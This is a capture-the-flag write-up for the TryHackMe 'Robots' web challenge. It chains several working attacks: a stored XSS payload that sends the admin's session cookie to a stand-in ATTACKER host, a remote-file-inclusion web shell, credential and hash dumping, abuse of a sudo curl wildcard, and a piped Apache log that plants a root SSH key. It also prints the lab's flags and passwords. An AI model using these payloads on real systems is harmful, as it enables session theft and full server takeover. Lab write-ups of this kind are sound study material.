Box: Robots · Platform: TryHackMe · Category: Web · Difficulty: Medium
Enumeration#
Port / Service Fingerprint#
1
2
3
| 22/tcp open ssh OpenSSH 8.9p1
80/tcp open http Apache/2.4.61 (Debian) — returns 403 on /
9000/tcp open http Apache/2.4.52 (Ubuntu) — default page
|
The Nmap service banner sets the hostname to robots.thm — add it to /etc/hosts.
robots.txt#
1
2
3
| Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
|
Three paths themed after Asimov’s Three Laws. Only /harm/to/self contains a real application.
Directory Enumeration#
1
2
| gobuster dir -u http://robots.thm/harm/to/self/ \
-w /usr/share/wordlists/dirb/common.txt -t 30
|
1
2
3
4
| admin.php 302 → robots.thm (requires auth)
index.php 302 → robots.thm (register / login)
register.php 200
login.php 200
|
Flag 1 (user) — XSS → Cookie Theft → RFI → SSH#
Step 1: Steal Admin Session via XSS#
The registration form reflects the username field without sanitisation and the note says “An admin monitors new users.” The server_info.php page leaks the current PHPSESSID in its response body.
Payload registered as the username:
1
2
3
4
5
6
7
8
9
10
11
| <script>
var x = new XMLHttpRequest();
x.onreadystatechange = function() {
if (x.readyState == 4) {
var m = x.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
if (m) fetch("http://ATTACKER/exfil?c=" + m[1]);
}
};
x.open("GET","http://robots.thm/harm/to/self/server_info.php",true);
x.send(null);
</script>
|
Start a listener (python3 -m http.server 80), register, and wait for the admin bot to visit the user list. The exfiltrated cookie arrives as a GET parameter.
Step 2: Code Execution via RFI#
admin.php presents a “Test url” form. The server-side handler uses PHP include() on the supplied URL — a Remote File Inclusion sink.
Host a PHP file on the attacker machine and submit its URL through the admin panel:
1
| <?php echo shell_exec($_GET['c'] ?? 'id'); ?>
|
Because include() executes the fetched PHP on the target’s engine, output is returned inside the admin.php response body. No reverse shell required for enumeration.
1
| <?php echo shell_exec('cat /var/www/html/harm/to/self/config.php'); ?>
|
config.php reveals:
1
2
3
4
| $servername = "db";
$username = "robots";
$password = "q4qCz1OflKvKwK4S";
$dbname = "web";
|
The container has no MySQL client, but PHP PDO works:
1
2
3
4
| <?php
$pdo = new PDO("mysql:host=db;dbname=web","robots","q4qCz1OflKvKwK4S");
$stmt = $pdo->query("SELECT * FROM users");
while ($r = $stmt->fetch(PDO::FETCH_ASSOC)) echo implode(" | ",$r)."\n";
|
1
2
| 1 | admin | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin
2 | rgiskard | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin
|
Step 4: Crack rgiskard’s Password#
The registration page states: “Your initial password will be md5(username+ddmm).” The stored hash is md5(md5(username+ddmm)) — a double round.
1
2
3
4
5
6
7
8
9
10
11
12
13
| import hashlib
username = "rgiskard"
target = "dfb35334bf2a1338fa40e5fbb4ae4753"
for month in range(1, 13):
for day in range(1, 32):
ddmm = f"{day:02d}{month:02d}"
inner = hashlib.md5((username + ddmm).encode()).hexdigest()
outer = hashlib.md5(inner.encode()).hexdigest()
if outer == target:
print(f"ddmm={ddmm} password={inner}")
# ddmm=2209 password=b246f21ff68cae9503ed6d18edd32dae
|
Step 5: SSH as rgiskard → Escalate to dolivaw#
1
2
3
| ssh rgiskard@robots.thm # password: b246f21ff68cae9503ed6d18edd32dae
sudo -l
# (dolivaw) /usr/bin/curl 127.0.0.1/*
|
The wildcard only constrains the first URL argument. Curl’s multi-URL syntax lets us pair a second file:// source with a -o destination:
1
2
3
4
5
| # Write our public key to dolivaw's authorized_keys
echo '<pubkey>' > /tmp/id_rsa_pub
sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /tmp/dummy \
"file:///tmp/id_rsa_pub" -o /home/dolivaw/.ssh/authorized_keys
|
1
2
| ssh -i id_rsa dolivaw@robots.thm
cat ~/user.txt
|
Flag 1 (user): THM{9b17d3c3e86c944c868c57b5a7fa07d8}
Flag 2 (root) — sudo apache2 → Log Injection → Root Shell#
dolivaw can run Apache as root without a password:
1
| (ALL) NOPASSWD: /usr/sbin/apache2
|
Apache’s CustomLog directive supports piped logging. When Apache starts as root and serves a request, it pipes the LogFormat string to the shell command. Setting the format string to an SSH public key and the pipe target to authorized_keys writes the key as root:
1
2
3
4
5
6
7
8
| ServerName localhost
Listen 7777
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
DocumentRoot /tmp
ErrorLog /tmp/err.log
LogFormat "ssh-rsa AAAA…root-pubkey… kali@attacker" rootkey
CustomLog "|/bin/sh -c 'mkdir -p /root/.ssh && cat >> /root/.ssh/authorized_keys'" rootkey
|
1
2
3
| sudo /usr/sbin/apache2 -f /tmp/evil_apache.conf -k start
curl -s http://127.0.0.1:7777/ # triggers one log write
sudo /usr/sbin/apache2 -f /tmp/evil_apache.conf -k stop
|
1
2
| ssh -i id_rsa_root root@robots.thm
cat /root/root.txt
|
Flag 2 (root): THM{2a279561f5eea907f7617df3982cee24}
Summary#
| Step | Technique |
|---|
| Cookie theft | Stored XSS in username field → XMLHttpRequest reads server_info.php → PHPSESSID exfiltrated |
| RCE (www-data) | Admin panel passes URL to PHP include() → RFI executes attacker-hosted PHP |
| Credential leak | config.php read via RFI → MySQL PDO query dumps user hashes |
| Lateral: rgiskard | Double-MD5 md5(md5(username+ddmm)) brute-forced over all 365 DDMM combinations |
| Lateral: dolivaw | sudo curl 127.0.0.1/* wildcard — second URL arg uses file:// to write attacker SSH key |
| Root | sudo apache2 runs as root — CustomLog piped logger writes SSH pubkey to /root/.ssh/authorized_keys |